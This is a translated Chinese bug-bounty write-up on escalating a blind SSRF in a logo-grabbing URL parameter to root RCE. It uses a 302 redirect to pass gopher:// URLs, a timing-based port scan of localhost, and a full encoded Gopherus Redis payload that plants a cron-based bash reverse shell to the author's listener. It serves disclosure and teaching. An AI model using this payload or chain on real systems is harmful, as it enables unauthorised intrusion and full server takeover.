翻译文章 | Just gopher it!无回显SSRF升级为RCE
前言:
发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序。
我能说的是,这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动。
毋庸置疑,这是一家拥有世界级安全团队的公司,多年来一直有大量专门针对它的黑客专家——这使得这个漏洞的存在更加令人惊讶。
第1部分:侦察
通常对于一个大范围的bug赏金程序,我会从子域枚举开始,以增加我的攻击面,但在这种情况下,我只针对我的目标上的一个web应用程序。
因为我只专注于一个web应用,所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径,并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径,但没有发现任何可攻击的。
由于第一种侦查方法没有导致任何发现,我尝试了另一种方法-测试web应用程序的各种功能,同时运行Burp代理在后台。所有发出的请求都存储在Burp中的一个有组织的列表中,这样就可以很容易地查看所有请求,以寻找任何有趣的或可能存在漏洞的内容。
在测试web应用程序的功能后,我开始查看存储在代理日志中的请求,并遇到类似的请求:
GET /xxx/logoGrabber?url= [http://example.com][0]
Host: site.example.com
一个接受url参数的GET请求。这个请求的响应看起来是这样的,包含了关于url的标题和logo的信息:
{"responseTime":"99999ms","grabbedUrl":" [http://example.com][0] ","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}
这个请求立即引起了我的兴趣,因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时,测试SSRF是一个好主意。
第2部分:发现SSRF
我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互,但没有获得任何内部IP地址,因为他们有适当的保护。
在未能命中任何内部IP地址后,我决定看看能否命中该公司的任何公开的子域名。我为我的目标做了一些子域枚举,然后开始在请求时覆盖所有枚举域。
最后,我很幸运地发现了一些请求,这些请求返回了来自非公开访问站点的标题数据。
子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecorpsite.example.com时,请求超时了。但当我提交请求时:
GET /xxx/logoGrabber?url= [http://somecorpsite.example.com][1]
Host: site.example.com
回复包含了内部标题和logo信息:
{"responseTime":"9ms","grabbedUrl":" [http://somecorpsite.example.com][1] ","urlInfo": {"pageTitle":"INTERNAL PAGE TITLE","pageLogo":" [http://somecorpsite.example.com/logos/logo.png"}}][2]
现在我可以点击内部子域名访问标题和标志的url,我决定提交一个报告给我的目标无回显SSRF。内部标题信息没有包含任何过于敏感的内容,没有其他页面内容被返回,所以我认为这将被认为是一个相当低的影响无回显SSRF,但我没有想法来升级这个,并决定报告它。
一段时间后,报告被接受了,并进行了归档。
第3部分:RCE
自从我的原始报告被归档后,大约一个月过去了。我很高兴它被归档了,但我知道影响很低,我可能不会从中得到什么。
SSRF仍然是可攻击的,尚未修复,所以我决定做一些更多的研究,试图进一步升级它。在我的研究过程中,我了解到Gopher协议是升级ssrf的一种很好的方式,在某些情况下可以导致完整的远程代码执行。
为了测试gopher协议是否被支持,我提交了类似如下的请求:
GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
不幸的是,请求立即失败,并导致服务器错误。没有向我的Burp服务器提出任何请求,所以似乎gopher协议不被支持。
在继续我的测试时,我在网上看到重定向通常是绕过某些SSRF保护的好方法,所以我决定测试服务器是否遵循重定向。
为了测试重定向是否有效,我设置了一个Python http服务器,302将所有GET流量重定向到我的Burp服务器
python3 302redirect.py port “http://mycollaboratorurl/”
然后,我提交了如下请求,以查看重定向是否击中我的服务器:
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
提交请求后,我注意到重定向被跟踪,导致命中我的Burp服务器url。所以现在我已经验证了302个重定向被跟踪了…
现在重定向工作了,我决定用gopher协议来测试它。最初在请求中提交gopher有效负载直接导致服务器错误,所以我像下面这样设置重定向服务器来测试gopher是否可以通过重定向工作:
python3 302redirect.py port “gopher://mycollaboratorurl/”
然后再把请求提交
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
令我惊讶的是,它成功了——重定向被跟踪了,我收到了对我的服务器url的请求!有一些过滤器反对Gopher协议的url,但如果我重定向从我自己的服务器,它就能绕过这个防护,重定向被跟踪Gopher有效载荷被执行!
不仅gopher有效负载通过302重定向执行,而且我意识到使用gopher我现在还可以命中以前过滤过的内部IP地址,如127.0.0.1。
现在我有了Gopher有效负载,可以访问内部主机,我必须弄清楚可以与哪些服务进行交互,以便升级。在做了一些搜索之后,我发现了gopher工具,它可以生成gopher有效载荷来升级SSRF。它包含以下服务的有效载荷:
gopherus([https://github.com/tarunkant/Gopherus)][0]
- MySQL (Port-3306)
- FastCGI (Port-9000)
- Memcached (Port-11211)
- Redis (Port-6379)
- Zabbix (Port-10050)
- SMTP (Port-25)
为了确定127.0.0.1上是否开放了上述任何端口,我使用了SSRF和端口扫描的响应时间。
通过302重定向我的web服务器到gopher://127.0.0.1:port,然后提交请求
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
我可以识别开放的端口,因为如果端口关闭,请求的响应时间会很长,如果端口打开,请求的响应时间会很短。使用这个端口扫描方法,我检查了以上所有6个端口。一个端口似乎是开放的-端口6379 (Redis)
302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
现在情况开始好转了。我想要的都有了:
- Gopher协议被302重定向接收
- 能够用gopher有效载荷攻击本地主机
- 确定在本地主机上运行的一个可能存在漏洞的服务
使用Gopherus,我生成了一个Redis反向shell负载,最终看起来像这样:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
如果这个有效负载成功,它将对我的netcat侦听器产生一个反向shell。我把我的服务器重定向到gopher有效负载,就像这样:
python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
一旦我的web服务器启动,我还在端口1337上启动了一个Netcat侦听器来捕获任何传入的反向shell。
最后,揭晓真相的时刻到了。我提交了请求:
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
什么都没有。什么也没有发生。我看到一个请求来到我的重定向服务器,但没有反向shell返回到我的netcat。这就是我想的结局,果然还是挖不到rce,selfxss才适合我。
我想也许
我的端口扫描是误报的,没有Redis服务器运行在本地主机上。
我接受了失败,开始关闭一切。我真的把鼠标放在运行netcat的终端的X按钮上,离点击关闭netcat只有几毫秒,突然
我真的不知道为什么会延迟这么久,但是在提交请求大约5分钟后,我收到了一个反向shell。我很高兴我让监听一直听着,否则我永远不会知道我有一个RCE。
我运行whoami来验证我有RCE(并且我是root!),然后立即断开连接并使用新的信息更新我的原始报告。
本周六快手联合火线 举办线下「观火」白帽沙龙活动 ↓扫描二维码火速了解
【火线Zone】
火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~
我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!
欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!
翻译文章 | Just gopher it!无回显SSRF升级为RCE相关推荐
- 84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...
- 浅谈PHP无回显命令执行的利用
本文首发于先知社区 前言 在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结. 判断方法 命令执行可能会存在命令执行但没有回 ...
- RCE篇之无回显rce
原文链接:http://arsenetang.com/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/ RCE篇之无回显r ...
- python处理回显_Python中getpass模块无回显输入源码解析
本文主要讨论了python中getpass模块的相关内容,具体如下. getpass模块 昨天跟学弟吹牛b安利Python标准库官方文档的时候偶然发现了这个模块.仔细一看内容挺少的,只有两个主要api ...
- 命令执行无回显的一些姿势
前言 最近演练遇到了拿shell后,由于是延时注入,让我极其难受.于是,学习了一下命令执行无回显的一些姿势 windows环境 1.ping %USERNAME%.2plmqc.dnslog.cn 这 ...
- Python实现“按任意键返回”和无回显输入
功能描述: 在某些应用场景中,需要实现"按任意键返回"这样的功能,在Python中如果使用内置函数input()的话必须有个回车键才表示输入结束,不够完美. 在msvrct标准库中 ...
- mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)
注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...
- mysql注入 无回显_XML外部实体注入2:无回显的XXE
生如夏花之绚烂,死如秋叶之静美. -- 泰戈尔 <生如夏花> 0 1 XML基础 XML 首先要先说下 xml.xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种 ...
- 无回显getshell
自从打完Geek challenge后发现现在的很多题都趋于一种无回显getshell的形式,像反序列化.SSTI.RCE.代码审计等题目都会出现,记录几道复现出的无回显getshell where_ ...
最新文章
- 分布式对象存储系统在openstack中的应用研究--Ceph(一)
- [LeetCode]Merge Intervals
- 【Android】 Android中ListView使用详解
- 写出一段代码将链表中的两个节点位置互换位置_面试 leetcode 算法专题系列(二)—— 链表...
- Android手机产线测试模块,基于Android平台智能手机可靠性生产测试模式的实现
- java8 list 行转列_太赞了,Intellij IDEA 竟然把 Java8 的数据流问题这么完美的解决掉了!
- 2020 年 3 月全国程序员工资排名!
- ubuntu高版本环境变量问题
- linux文件控制驱动程序,Linux设备驱动程序学习(6)-高级字符驱动程序操作[(3)设备文件的访问控制]...
- C++ 从入门到入土(English Version) Section 2:Computer Memory and Number Systems
- python中time模块time函数怎么写的_Python的time模块中的常用方法整理
- 方舟基础物品指令代码大全
- 论文阅读:Deep learning—Yann LeCun, Yoshua Bengio Geoffrey Hinton
- python编写手机病毒_十行代码--用python写一个USB病毒
- 【NLP】第13章 用Transformers分析假新闻
- 2021四川紧急选调/国考备考策略----申论/行测(2020.8.22号开始)
- photoshop制作gif动画
- 服务器证书如果不被网站信任怎么办?
- 404页面是什么意思?怎么正确设置?
- 【企业微信】自建应用可信域名验证
热门文章
- 害!天天在公司写业务代码,面几家挂几家,感觉自己快废了!
- SRM 624 Building Heights DivI 解读
- 【调剂】澳门科技大学空间大数据硕士接收调剂研究生
- 5.5.3哈夫曼树和哈夫曼编码
- 音频编解码G.711 G.729 G.723带宽问题
- 赛门铁克Symantec 软件界面,备份还原设置操作讲解说明
- HPC高性能计算知识: 深度解析Lustre体系结构
- 2022最新盲盒商城完整开源运营源码/对接免签支付接口/搭建教程
- 15、iptables详解
- Android(以太坊)生成助记词